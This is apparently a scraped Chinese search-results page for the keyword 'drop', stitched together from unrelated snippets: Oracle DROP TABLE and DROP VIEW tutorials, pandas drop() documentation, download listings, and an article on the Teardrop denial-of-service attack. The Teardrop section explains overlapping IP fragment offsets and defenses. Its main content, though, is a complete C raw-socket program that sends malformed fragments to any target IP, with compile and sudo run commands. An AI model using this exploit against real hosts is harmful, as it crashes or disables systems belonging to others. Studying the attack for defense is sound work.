drop 订阅
drop,英文单词,动词、名词,作动词时意为“推动;帮助;宣扬;下降;终止”,作名词时意为“滴;落下;空投;微量;滴剂”。 展开全文
drop,英文单词,动词、名词,作动词时意为“推动;帮助;宣扬;下降;终止”,作名词时意为“滴;落下;空投;微量;滴剂”。
信息
外文名
drop [1]
词    性
动词、名词
drop单词发音
英 [drɒp] 美 [drɑp] [2] 
收起全文
精华内容
下载资源
问答
  • drop
    千次阅读
    2021-05-04 10:18:23

    oracle函数 的 Oracle Drop Table

    在本教程中,将学习如何使用Oracle DROP TABLE语句删除现有的表。

    Oracle DROP TABLE语句简介

    要将表移动到回收站或将其从数据库中完全删除,请使用DROP TABLE语句:

    DROP TABLE schema_name.table_name

    [CASCADE CONSTRAINTS | PURGE];

    在这个语句中:

    首先,指出要在DROP TABLE子句之后删除的表及其模式。如果不明确指定模式名称,则该语句假定将从模式中删除该表。

    其次,指定CASCADE CONSTRAINTS子句删除引用表中主键和唯一键的所有参照完整性约束。 如果存在这种引用完整性约束,并且不使用此子句,Oracle将返回错误并停止删除表。

    第三,如果想删除表格并且一次释放与之关联的空间,指定PURGE子句。 通过使用PURGE子句,Oracle不会将表及其依赖对象放入回收站。

    请注意,PURGE子句不允许您回滚或恢复删除的表。 因此,如果不希望敏感数据出现在回收站中,这很有用。

    Oracle DROP TABLE示例

    我们来看看使用DROP TABLE语句的一些例子。

    1. 基本的Oracle DROP TABLE示例

    以下语句为演示创建persons表:

    CREATE TABLE persons (

    person_id NUMBER,

    first_name VARCHAR2(50) NOT NULL,

    last_name VARCHAR2(50) NOT NULL,

    PRIMARY KEY(person_id)

    );

    以下示例从数据库中删除person表:

    DROP TABLE persons;

    2. Oracle DROP TABLE CASCADE CONSTRAINTS示例

    以下语句创建两个名为brands和cars的新表:

    CREATE TABLE brands(

    brand_id NUMBER PRIMARY KEY,

    brand_name varchar2(50)

    );

    CREATE TABLE cars(

    car_id NUMBER PRIMARY KEY,

    make VARCHAR(50) NOT NULL,

    model VARCHAR(50) NOT NULL,

    year NUMBER NOT NULL,

    plate_number VARCHAR(25),

    brand_id NUMBER NOT NULL,

    CONSTRAINT fk_brand

    FOREIGN KEY (brand_id)

    REFERENCES brands(brand_id) ON DELETE CASCADE

    );

    在这些表中,每个品牌有一个或更多的汽车,而每辆汽车只有一个品牌。

    以下语句尝试删除brands表:

    DROP TABLE brands;

    Oracle发出以下错误:

    ORA-02449: unique/primary keys in table referenced by foreign keys

    这是因为brands表的主键当前由cars表中的brand_id列引用。

    以下语句返回cars表的所有外键约束:

    SELECT

    a.table_name,

    a.column_name,

    a.constraint_name,

    c.owner,

    c.r_owner,

    c_pk.table_name r_table_name,

    c_pk.constraint_name r_pk

    FROM

    all_cons_columns a

    JOIN all_constraints c ON

    a.owner = c.owner

    AND a.constraint_name = c.constraint_name

    JOIN all_constraints c_pk ON

    c.r_owner = c_pk.owner

    AND c.r_constraint_name = c_pk.constraint_name

    WHERE

    c.constraint_type = 'R'

    AND a.table_name = 'CARS';

    要删除brands表,必须使用CASCADE CONSTRAINTS子句,如下所示:

    DROP TABLE brands CASCADE CONSTRAINTS;

    这个语句不仅删除了brands表,而且还删除了cars表中的外键约束fk_brand。

    如果再次执行语句以获取cars表中的外键约束,则不会看到任何返回的行。

    Oracle DROP TABLE PURGE示例

    以下语句使用PURGE子句来删除cars表:

    DROP TABLE cars purge;

    一次删除多个表

    Oracle不提供直接删除多个表的方法。 但是,可以使用以下PL/SQL块来执行此操作:

    BEGIN

    FOR rec IN

    (

    SELECT

    table_name

    FROM

    all_tables

    WHERE

    table_name LIKE 'TEST_%'

    )

    LOOP

    EXECUTE immediate 'DROP TABLE '||rec.table_name || ' CASCADE CONSTRAINTS'

    END LOOP;

    END;

    /

    该PL/SQL块将删除名称以TEST_开头的所有表。

    要测试此代码,可以先创建三个表:test_1,test_2和test_3,如下所示:

    CREATE TABLE test_1(c1 VARCHAR2(50));

    CREATE TABLE test_2(c1 VARCHAR2(50));

    CREATE TABLE test_3(c1 VARCHAR2(50));

    然后,执行上面的PL/SQL块。应该看可以看到,上面创建的三个表均被删除了。

    在本教程中,您已学习如何使用Oracle DROP TABLE语句从数据库中删除表。

    更多相关内容
  • DROP TABLE在不同数据库中的写法整理 1,MySql中 DROP TABLE IF EXISTS [table_name] 2,Oracle中: BEGIN EXECUTE IMMEDIATE 'DROP TABLE [table_name]'; EXCEPTION WHEN OTHERS THEN NULL; END; 3,在Sql ...
  • Teardrop

    2019-10-25 15:48:41
    Teardrop
  • 下面小编就为大家分享一篇Pandas之drop_duplicates:去除重复项方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
  • 主要介绍了sqlserver中drop、truncate和delete语句的用法,本文图文并茂,内容清晰,需要的朋友可以参考下
  • AirDrop-核心 一个简单的API即可轻松“调用”空投 ConVars sm_airdrop_box默认值: models/props_crates/static_crate_40.mdl描述: CVar to set the model of the box in the AirDrop sm_airdrop_parachute默认值...
  • Braintree Web Drop-inReact 这是一个包装braintree-web-drop-in (v3)的React组件。 免责声明:这不是Braintree的官方模块。 有关与braintree-web-drop-in或一般braintree-web有关的问题和信息,请参阅和 。 ...
  • 使用Merkle树快速,有效和经济地将Token Air-Drop分发到许多帐户。 特征 任意数量的令牌的固定成本和低成本部署 所有令牌均可立即索取 任何人都可以付油 无法使用令牌的地址不会浪费存储或种子交易 令牌可以保持脱链...
  • mysql drop database命令用于删除一个数据库,如果试图使用drop database命令删除一个不存在的数据库,那么那么你会收到此错误:ERROR 1008 (HY000): Can’t drop database ‘tutorial_database’; database doesn’...
  • drop-stream-server:用于Drop Web和移动应用程序的服务器
  • DROP(内置颤振) Drop是一个在线商店,可为用户提供简单,流畅的体验,并使用户可以使用最新和最新的Drop。 它是用flutter建造的。
  • 主要介绍了秒懂drop、truncate和delete的区别,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
  • 在mysql中,我们可以使用DROP DATABASE来删除数据库,并且数据库中所有表也随之删除。本文通过实例向各位码农介绍DROP DATABASE的使用方法,需要的朋友可以参考下
  • android-dragAndDrop android-dragAndDrop
  • MySQL表drop恢复,使用 undrop-for-innodb恢复被drop的表。使用 undrop-for-innodb恢复被drop的表
  • Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大 ...

    Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大 

    主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效 

    攻击效果

    被攻击者会出现蓝屏、重启、卡死等情况

    1、Teardrop攻击原理

    Teardrop攻击工作原理是攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,某些操作系统收到含有重叠偏移的伪

    Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大 

    主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效 

    利用UDP包重组时重叠偏移(假设数据包中第二片IP包的偏移量小于第一片结束的位移,而且算上第二片IP包的Data,也未超过第一片的尾部,这就是重叠现象。)的漏洞对系统主机发动拒绝服务攻击,最终导致主机宕机;对于Windows系统会导致蓝屏死机,并显示STOP 0x0000000A错误。

    2、检测方法

    对接收到的分片数据包进行分析,计算数据包的片偏移量(Offset)是否有误。

    1. Teardrop攻击防御方法

    网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存溢出,当缓存快要存满时,直接丢弃后续分片报文。

    反攻击方法:添加系统补丁程序,丢弃收到的病态分片数据包并对这种攻击进行审计。尽可能采用最新的操作系统,或者在防火墙上设置分段重组功能,由防火墙先接收到同一原包中的所有拆分数据包,然后完成重组工作,而不是直接转发。因为防火墙上可以设置当出现重叠字段时所采用的规则

    MAC头(帧头):14个字节,包括目标mac6字节,源mac6字节,上层协议2字节
    FCS:帧校验序列,4个字节ip头:源ip和目标ip,20字节
    Ping大包,比较正常分段与teardrop攻击流量的区别

    ping -l 4000 192.168.199.158


    针对早期windows系统SMB协议的攻击

    teardrop_smb.py


    针对Android.IOS 系统的攻击

    teardrop_androidios.py
    攻击向量并不确定,要视具体协议分析 

    1. 攻击目标
      泪滴攻击是一种拒绝服务(DoS)攻击,涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装,因此数据包相互重叠,导致目标网络设备崩溃。这通常发生在较早的操作系统上,例如Windows 3.1x,Windows 95,Windows NT和2.1.63之前版本的Linux内核。

    IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 ,从而导致拒绝服务状况。 

    5、编写Teardrop程序(创建一个虚假的IP数据包)

    1)、在 Ubuntu 系统下,创建一个 Teardrop.c 文件,写入如下内容:

    #include <stdio.h>

    #include <stdlib.h>

    #include <unistd.h>

    #include <string.h>

    #include <netdb.h>

    #include <netinet/in.h>

    #include <netinet/udp.h>

    #include <arpa/inet.h>

    #include <sys/types.h>

    #include <sys/time.h>

    #include <sys/socket.h>

    #include <errno.h>

    #ifdef STRANGE_BSD_BYTE_ORDERING_THING

    /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */

    #define FIX(n)  (n)

    #else  

    /* OpenBSD 2.1, all Linux */

    #define FIX(n)  htons(n)

    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

    #define IP_MF 0x2000  /* More IP fragment en route */

    #define IPH 0x14    /* IP header size */

    #define UDPH 0x8     /* UDP header size */

    #define PADDING  0x1c    /* datagram frame padding for first packet */

    #define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */

    #define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can

                            * withstand maybe 5 or 10 sometimes...  Experiment.*/

                        

    void usage(u_char *);

    u_long name_resolve(u_char *);

    void send_frags(int, u_long, u_long, u_short, u_short);

    int main(int argc, char **argv)

    {

        int one = 1, count = 0, i, rip_sock;

        // 定义源地址和目的地址

        u_long src_ip = 0, dst_ip = 0;

        // 定义源端口和目的端口

        u_short src_prt = 0, dst_prt = 0;

        // 定义一个32位的IPv4地址

        struct in_addr addr;

        printf("teardrop route|daemon9\n\n");

        //创建原始套接字

        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

        {

            fprintf(stderr, "raw socket");

            exit(1);

        }

        //设置套接字选项IP_HDRINCL

        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,

        (char *)&one, sizeof(one))< 0)

        {

            fprintf(stderr, "IP_HDRINCL");

            exit(1);

        }

        if (argc < 3)

            usage(argv[0]);

        // 设置源IP 和 目的IP

        if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))

        {

            fprintf(stderr, "What the hell kind of IP address is that?\n");

            exit(1);

        }

        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)

        {

            switch (i)

            {

                case 's': // source port (should be emphemeral)

                src_prt = (u_short)atoi(optarg);

                break;

                case 't': // dest port (DNS, anyone?)

                dst_prt = (u_short)atoi(optarg);

                break;

                case 'n': // number to send

                count = atoi(optarg);

                break;

                default :

                usage(argv[0]);

                break; // NOTREACHED

            }

        }

        srandom((unsigned)(utimes("0",(time_t)0)));

        if (!src_prt) src_prt = (random() % 0xffff);

        if (!dst_prt) dst_prt = (random() % 0xffff);

        if (!count)

        count = COUNT;

        printf("Death on flaxen wings:\n");

        addr.s_addr = src_ip;

        printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);

        addr.s_addr = dst_ip;

        printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);

        printf(" Amt: %5d\n", count);

        printf("[\n ");

        for (i = 0; i < count; i++)

        {

            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);

            // printf("b00m ");

            usleep(500);

        }

        printf("]\n");

        return (0);

    }

    // 设置 IP 包的内容

    void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)

    {

        u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers

        u_char byte; // a byte

        // 套接字地址结构

        struct sockaddr_in sin; /* socket protocol structure */

        sin.sin_family = AF_INET;

        sin.sin_port = src_prt;

        sin.sin_addr.s_addr = dst_ip;

        packet = (u_char *)malloc(IPH + UDPH + PADDING);

        p_ptr = packet;

        flag = packet;

        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

        // IP version and header length

        byte = 0x45;

        memcpy(p_ptr, &byte, sizeof(u_char));

        p_ptr += 2; // IP TOS (skipped)

        // total length

        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);

        p_ptr += 2;

        *((u_short *)p_ptr) = htons(242); // IP id

        p_ptr += 2;

        //IP frag flags and offset

        *((u_short *)p_ptr) |= FIX(IP_MF);

        p_ptr += 2;

        *((u_short *)p_ptr) = 0x40; // IP TTL

        byte = IPPROTO_UDP;

        memcpy(p_ptr + 1, &byte, sizeof(u_char));

        // IP checksum filled in by kernel

        p_ptr += 4;

        // IP source address

        *((u_long *)p_ptr) = src_ip;

        p_ptr += 4;

        // IP destination address

        *((u_long *)p_ptr) = dst_ip;

        p_ptr += 4;

        *((u_short *)p_ptr) = htons(src_prt); // UDP source port

        p_ptr += 2;

        *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port

        p_ptr += 2;

        *((u_short *)p_ptr) = htons(PADDING); // UDP total length

        p_ptr += 4;

        

        // 发送数据:Fake News

        *((u_short *)p_ptr) = 0x46;

        p_ptr++;

        *((u_short *)p_ptr) = 0x61;

        p_ptr++;

        *((u_short *)p_ptr) = 0x6B;

        p_ptr++;

        *((u_short *)p_ptr) = 0x65;

        p_ptr++;

        *((u_short *)p_ptr) = 0x20;

        p_ptr++;

        *((u_short *)p_ptr) = 0x4E;

        p_ptr++;

        *((u_short *)p_ptr) = 0x65;

        p_ptr++;

        *((u_short *)p_ptr) = 0x77;

        p_ptr++;

        *((u_short *)p_ptr) = 0x73;

        int i=1;

        while(i <= 56)

        {

    printf("%x\t",*flag);

    flag++;

            if(0 == i%8)

        printf("\n");

            i++;

        }

        if (sendto(sock, packet, IPH + UDPH + PADDING, 0,

        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)

        {

            fprintf(stderr, "\nsendto");

            free(packet);

            exit(1);

        }

        // IP total length is 2 bytes into the header

        p_ptr = &packet[2];

        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);

        // IP offset is 6 bytes into the header

        p_ptr += 4;

        *((u_short *)p_ptr) = FIX(MAGIC);

        if (sendto(sock, packet, IPH+MAGIC+1, 0,

        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)

        {

            fprintf(stderr, "\nsendto");

            free(packet);

            exit(1);

        }

        free(packet);

    }

    // 获取主机信息

    u_long name_resolve(u_char *host_name)

    {

        struct in_addr addr;

        struct hostent *host_ent;

        if ((addr.s_addr = inet_addr(host_name)) == -1)

        {

            if (!(host_ent = gethostbyname(host_name))) return (0);

                bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);

        }

        return (addr.s_addr);

    }

    void usage(u_char *name)

    {

        fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);

        exit(0);

    }

    1. 编译运行

    gcc Teardrop.c -o Teardrop

    sudo ./Teardrop 100.100.100.100 200.200.200.200

     

     

     

     

    展开全文
  • MATLAB working model of drop control system
  • Rain Drop_arduino_drop_

    2021-09-30 08:20:23
    LED Rain Drop using Arduino uno
  • Drop (Beta)-crx插件

    2021-03-10 13:32:10
    奖励与现金一样好当您结帐并完成安装了Drop for Chrome扩展程序的购买时,Drop会向您发送通知,其中包含您的购买确认。 您可以在Drop应用程序中轻按您的积分,在其中可以将其兑换为星巴克,亚马逊和丝芙兰等品牌的...
  • WPF listbox之间拖动 drag&drop

    热门讨论 2014-10-22 21:40:40
    WPF 实现了两个listbox之间拖动,drag&drop,并且有上下按钮控制listbox里面元素的移动,还有拖动时边框变色,1分,你值得拥有。
  • python——drop函数

    千次阅读 2022-02-21 14:55:54
    def drop( self, labels=None, axis: Axis = 0, index=None, columns=None, level: Level | None = None, inplace: bool = False, errors: str = "raise", ): 注解: """ Drop spec.

    函数定义:

    ​
    def drop(
            self,
            labels=None,
            axis: Axis = 0,
            index=None,
            columns=None,
            level: Level | None = None,
            inplace: bool = False,
            errors: str = "raise",
        ):

    注解:

     """
            Drop specified labels from rows or columns.
    
            Remove rows or columns by specifying label names and corresponding
            axis, or by specifying directly index or column names. When using a
            multi-index, labels on different levels can be removed by specifying
            the level. See the `user guide <advanced.shown_levels>`
            for more information about the now unused levels.
    
            Parameters
            ----------
            labels : single label or list-like
                Index or column labels to drop. A tuple will be used as a single
                label and not treated as a list-like.
            axis : {0 or 'index', 1 or 'columns'}, default 0
                Whether to drop labels from the index (0 or 'index') or
                columns (1 or 'columns').
            index : single label or list-like
                Alternative to specifying axis (``labels, axis=0``
                is equivalent to ``index=labels``).
            columns : single label or list-like
                Alternative to specifying axis (``labels, axis=1``
                is equivalent to ``columns=labels``).
            level : int or level name, optional
                For MultiIndex, level from which the labels will be removed.
            inplace : bool, default False
                If False, return a copy. Otherwise, do operation
                inplace and return None.
            errors : {'ignore', 'raise'}, default 'raise'
                If 'ignore', suppress error and only existing labels are
                dropped.
    
            Returns
            -------
            DataFrame or None
                DataFrame without the removed index or column labels or
                None if ``inplace=True``.
    
            Raises
            ------
            KeyError
                If any of the labels is not found in the selected axis.
    
            See Also
            --------
            DataFrame.loc : Label-location based indexer for selection by label.
            DataFrame.dropna : Return DataFrame with labels on given axis omitted
                where (all or any) data are missing.
            DataFrame.drop_duplicates : Return DataFrame with duplicate rows
                removed, optionally only considering certain columns.
            Series.drop : Return Series with specified index labels removed.
    """
    
    从行或列中删除指定的标签。
    
    
    
    通过指定标签名称和相应的
    
    或者直接指定索引或列名。当使用
    
    多索引、不同级别的标签可以通过指定
    
    水平。请参阅“用户指南<高级”。显示的\u级别>`
    
    有关现在未使用的级别的更多信息。
    
    
    
    参数
    
    ----------
    
    标签:单个标签或类似列表
    
    要删除的索引或列标签。元组将用作单个
    
    标签,而不是像列表一样处理。
    
    轴:{0或'index',1或'columns',默认为0
    
    是从索引(0或“索引”)中删除标签,还是
    
    列(1或“列”)。
    
    索引:单个标签或类似列表
    
    指定轴的替代方法(`labels,axis=0)``
    
    相当于``index=labels`)。
    
    列:单个标签或类似列表
    
    指定轴的替代方法(`labels,axis=1)``
    
    相当于``columns=labels`)。
    
    级别:int或级别名称,可选
    
    对于多索引,将从中删除标签的级别。
    
    原地:bool,默认为False
    
    如果为False,请返回一份副本。否则,请执行操作
    
    原地踏步,一无所获。
    
    错误:{'ignore','raise'},默认值为'raise'
    
    如果为“忽略”,则抑制错误,并且仅显示现有标签
    
    下降。
    
    
    
    返回
    
    -------
    
    数据帧或无
    
    没有移除索引或列标签的DataFrame或
    
    如果“`inplace=True`”,则为无。
    
    
    
    提高
    
    ------
    
    键错误
    
    如果在选定轴中找不到任何标签。
    
    
    
    另见
    
    --------
    
    数据帧。loc:基于标签位置的索引器,用于按标签进行选择。
    
    数据帧。dropna:返回给定轴上省略标签的数据帧
    
    (全部或任何)数据缺失的地方。
    
    数据帧。drop_duplicates:返回具有重复行的数据帧
    
    删除,也可以仅考虑某些列。
    
    系列删除:删除指定索引标签的返回序列。

     例子:

    --------
            >>> df = pd.DataFrame(np.arange(12).reshape(3, 4),
            ...                   columns=['A', 'B', 'C', 'D'])
            >>> df
               A  B   C   D
            0  0  1   2   3
            1  4  5   6   7
            2  8  9  10  11
          Drop columns
    
            >>> df.drop(['B', 'C'], axis=1)
               A   D
            0  0   3
            1  4   7
            2  8  11
    
            >>> df.drop(columns=['B', 'C'])
               A   D
            0  0   3
            1  4   7
            2  8  11
    
          
      Drop a row by index
    
            >>> df.drop([0, 1])
               A  B   C   D
            2  8  9  10  11
    
            Drop columns and/or rows of MultiIndex DataFrame
    
            >>> midx = pd.MultiIndex(levels=[['lama', 'cow', 'falcon'],
            ...                              ['speed', 'weight', 'length']],
            ...                      codes=[[0, 0, 0, 1, 1, 1, 2, 2, 2],
            ...                             [0, 1, 2, 0, 1, 2, 0, 1, 2]])
            >>> df = pd.DataFrame(index=midx, columns=['big', 'small'],
            ...                   data=[[45, 30], [200, 100], [1.5, 1], [30, 20],
            ...                         [250, 150], [1.5, 0.8], [320, 250],
            ...                         [1, 0.8], [0.3, 0.2]])
            >>> df
                            big     small
            lama    speed   45.0    30.0
                    weight  200.0   100.0
                    length  1.5     1.0
            cow     speed   30.0    20.0
                    weight  250.0   150.0
                    length  1.5     0.8
            falcon  speed   320.0   250.0
                    weight  1.0     0.8
                    length  0.3     0.2
    
            Drop a specific index combination from the MultiIndex
            DataFrame, i.e., drop the combination ``'falcon'`` and
            ``'weight'``, which deletes only the corresponding row
    
            >>> df.drop(index=('falcon', 'weight'))
                            big     small
            lama    speed   45.0    30.0
                    weight  200.0   100.0
                    length  1.5     1.0
            cow     speed   30.0    20.0
                    weight  250.0   150.0
                    length  1.5     0.8
            falcon  speed   320.0   250.0
                    length  0.3     0.2
    
            >>> df.drop(index='cow', columns='small')
                            big
            lama    speed   45.0
                    weight  200.0
                    length  1.5
            falcon  speed   320.0
                    weight  1.0
                    length  0.3
    
            >>> df.drop(index='length', level=1)
                            big     small
            lama    speed   45.0    30.0
                    weight  200.0   100.0
            cow     speed   30.0    20.0
                    weight  250.0   150.0
            falcon  speed   320.0   250.0
                    weight  1.0     0.8
    展开全文
  • 这是一个命令行工具,可让您从终端使用AirDrop与Apple设备共享文件和URL。 安装 自制酒 brew install vldmrkl/formulae/airdrop-cli 或者 brew tap vldmrkl/formulae brew install airdrop-cli 手动地 git clone ...
  • 第四十一章 SQL命令 DROP VIEW

    千次阅读 2021-10-11 08:53:55
    文章目录 第四十一章 SQL命令 DROP VIEW大纲参数描述权限Nonexistent View其他视图引用的视图关联查询示例 第四十一章 SQL命令 DROP VIEW 删除视图 大纲 DROP VIEW view-name [CASCADE | RESTRICT] 参数 view-...

    第四十一章 SQL命令 DROP VIEW

    删除视图

    大纲

    DROP VIEW view-name [CASCADE | RESTRICT]
    

    参数

    • view-name 要删除的视图的名称。
      视图名可以是限定的(schema.viewname),也可以是非限定的(viewname)。
      非限定视图名接受默认模式名。
    • CASCADE RESTRICT - 可选-指定CASCADE关键字以删除引用view-name的任何其他视图。如果有另一个视图引用view-name,则指定RESTRITE将发出SQLCODE-321错误。默认值为限制。

    描述

    DROP VIEW命令删除视图,但不删除基础表或数据。

    也可以使用DropView()方法调用来调用拖放视图操作:

    $SYSTEM.SQL.Schema.DropView(viewname,SQLCODE,%msg)
    

    权限

    DROP VIEW命令是特权操作。在使用DROP VIEW之前,进程必须拥有指定视图的%DROP_VIEW管理权限或DELETE OBJECT权限。否则将导致SQLCODE-99错误(特权冲突)。可以通过调用%CHECKPRIV命令来确定当前用户是否具有删除权限。可以通过调用$SYSTEM.SQL.Security.CheckPrivileve()方法来确定指定用户是否具有删除权限。如果拥有适当的授予权限,则可以使用GRANT命令分配%DROP_VIEW权限。

    在嵌入式SQL中,可以使用$SYSTEM.Security.Login()方法以具有适当权限的用户身份登录:

       DO $SYSTEM.Security.Login("_SYSTEM","SYS")
       &sql(      )
    

    必须具有%Service_Login:Use权限才能调用$SYSTEM.Security.Login方法。

    可以删除基于从部署的持久类投影的表的视图。

    Nonexistent View

    要确定当前命名空间中是否存在指定视图,请使用$SYSTEM.SQL.Schema.ViewExists()方法。

    默认情况下,如果尝试删除不存在的视图,DROP VIEW会发出SQLCODE-30错误。要确定当前设置,请调用$SYSTEM.SQL.CurrentSettings(),它显示允许DDL删除不存在的表或视图设置。默认值为0(“否”)。这是此选项的推荐设置。如果设置为1(“Yes”),则为不存在的视图和表发出DROP VIEWDROP TABLE不会执行任何操作,也不会发出错误消息。

    在管理门户、系统管理、配置、SQL和对象设置中,通过选中忽略冗余DDL语句复选框,可以在系统范围内设置此选项(以及其他类似的创建、更改和删除选项)。

    其他视图引用的视图

    如果试图删除其他视图在其查询中引用的视图,DROP VIEW默认情况下会发出SQLCODE-321错误。这就是限制关键字行为。

    通过指定CASCADE关键字,可以成功删除其他视图在其查询中引用的视图。删除视图还会删除这些其他视图。如果 IRIS无法执行所有级联视图删除操作(例如,由于SQLCODE-300错误),则不会删除任何视图。

    关联查询

    删除视图会自动清除所有相关的缓存查询,并清除%SYS.PTools.StatsSQL生成的查询信息。删除视图会自动清除任何相关查询的所有SQL运行时统计信息(SQL Stat)信息。

    示例

    下面的嵌入式SQL示例创建名为“CityAddressBook”的视图,然后删除该视图。由于它是使用RESTRITE关键字(默认值)指定的,因此如果该视图被其他视图引用,则会发出SQLCODE-321错误:

    ClassMethod DropView()
    {
    	&sql(
    		CREATE VIEW CityAddressBook AS
    			SELECT Name,Home_Street FROM Sample.Person 
    			WHERE Home_City='Boston'
    	)
    	if SQLCODE=0 { 
    		w !,"视图创建" 
    	} else { 
    		w !,"创建视图错误: ",SQLCODE
    		q 
    	} 
    	/* Use the view */
    	n SQLCODE,%msg
    	&sql(
    		DROP VIEW CityAddressBook RESTRICT
    	) 
    	if SQLCODE=0 { 
    		w !,"删除视图" 
    	} elseif SQLCODE=-30 { 
    		w !,"视图不存在",!,%msg 
    	} elseif SQLCODE=-321 { 
    		w !,"其他视图引用的视图",!,%msg 
    	} else { 
    		w !,"其他删除视图错误: ",SQLCODE,!,%msg 
    	}
    }
    
    
    展开全文
  • EUDAT B2DROP主题 目录 模块说明 该存储库提供了B2DROP主题。 它是Nextcloud的薄覆盖层,可提供常见的EUDAT外观。 我们希望直接在Web服务器的文档根目录上运行B2DROP ,例如,通过。 不支持领先的nextcloud ( ),...
  • WPF Drag Drop例子

    2016-06-28 14:13:30
    WPF Drag Drop例子
  • WCDMA CALL DROP ANALYSIS GUIDLINE
  • SQL DROP

    2022-04-08 14:55:50
    SQL DROP SQL 撤销索引,撤销表 以及撤销数据库 通过使用DROP 语句,可以轻松地删除索引,表和数据库。 DROP INDEX 语句 DROP INDEX 语句用于删除表中得索引。 DROP INDEX table_name.index_name 实例: DROP INDEX...
  • 【mysql】drop、truncate和delete的区别

    千次阅读 2022-03-03 10:52:55
    drop:删除数据库2. 对比 TRUNCATE TABLE 和 DELETE FROM3. DDL 和 DML 的说明 1. drop:删除数据库 drop语句将表所占用的空间全释放掉。 drop > truncate > delete 方式1:如果要删除的数据库存在,则删除...
  • SQL DROP TABLE语句概述

    千次阅读 2020-07-25 09:35:42
    This article gives an overview of the SQL DROP TABLE statement to remove one or more tables from a database. 本文概述了从数据库中删除一个或多个表SQL DROP TABLE语句。 In my earlier article, ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 993,232
精华内容 397,292
关键字:

drop

友情链接: SimulinkModel.zip